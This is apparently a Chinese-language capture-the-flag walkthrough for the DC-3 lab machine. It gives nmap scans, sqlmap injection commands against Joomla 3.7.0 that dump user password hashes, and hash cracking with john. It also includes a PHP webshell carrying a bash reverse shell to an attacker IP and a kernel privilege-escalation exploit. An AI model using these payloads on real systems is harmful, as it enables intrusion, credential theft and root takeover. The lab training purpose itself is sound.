DC-3攻略
信息收集
主机发现
nmap -sP 192.168.64.0/24 -oN nmap.sP
端口扫描
nmap -A 192.168.64.137 -p 1-65535 -oN NMAP_A
发现开放80端口
访问80
漏洞利用
安装joomla扫描工具joomscan
apt-get install joomscan
查找cms版本漏洞
searchsploit Joomla 3.7.0
产看漏洞的详细信息
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
使用sqlmap
sqlmap -u "http://192.168.64.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
发现数据库
查询表名
sqlmap -u "http://192.168.64.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
查询列名
sqlmap -u "http://192.168.64.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
我们关心password和username
查询记录内容
sqlmap -u "http://192.168.64.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
将密文保存为文件pass
使用john的时候加上–show
john --show pass
密码为snoopy
登录后台管理页面
http://192.168.64.137/administrator/
找到模板beez3 html下新建一句话木马并反弹shell
<?php
phpinfo();
@eval($_REQUEST[123]);
system("bash -c 'bash -i >& /dev/tcp/192.168.64.131/8080 0>&1' ");
?>
123456
蚁剑连接
蚁剑连接
http://192.168.64.137/templates/beez3/html/yjh.php
查询内核版本
开启终端
cat /etc/issue查看发行版信息
发现是 ubuntu 16.04
反弹shell
刚才上传的yjh.php中包含反弹shell的命令
kali监听端口
nc -lvvp 8080 监听8080
访问页面即可反弹shell
提权
采用内核提权
searchsploit 查询内核版本漏洞
searchsploit ubuntu 16.04
find / -name 39772.txt
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
下载exp使用蚁剑穿到目标靶机并解压缩
unzip 39772.zip
tar -xvf crasher.tar
tar -xvf exploit.tar
运行./compile.sh 和./doubleput
提权成功
进入root家目录找到flag,通关!!!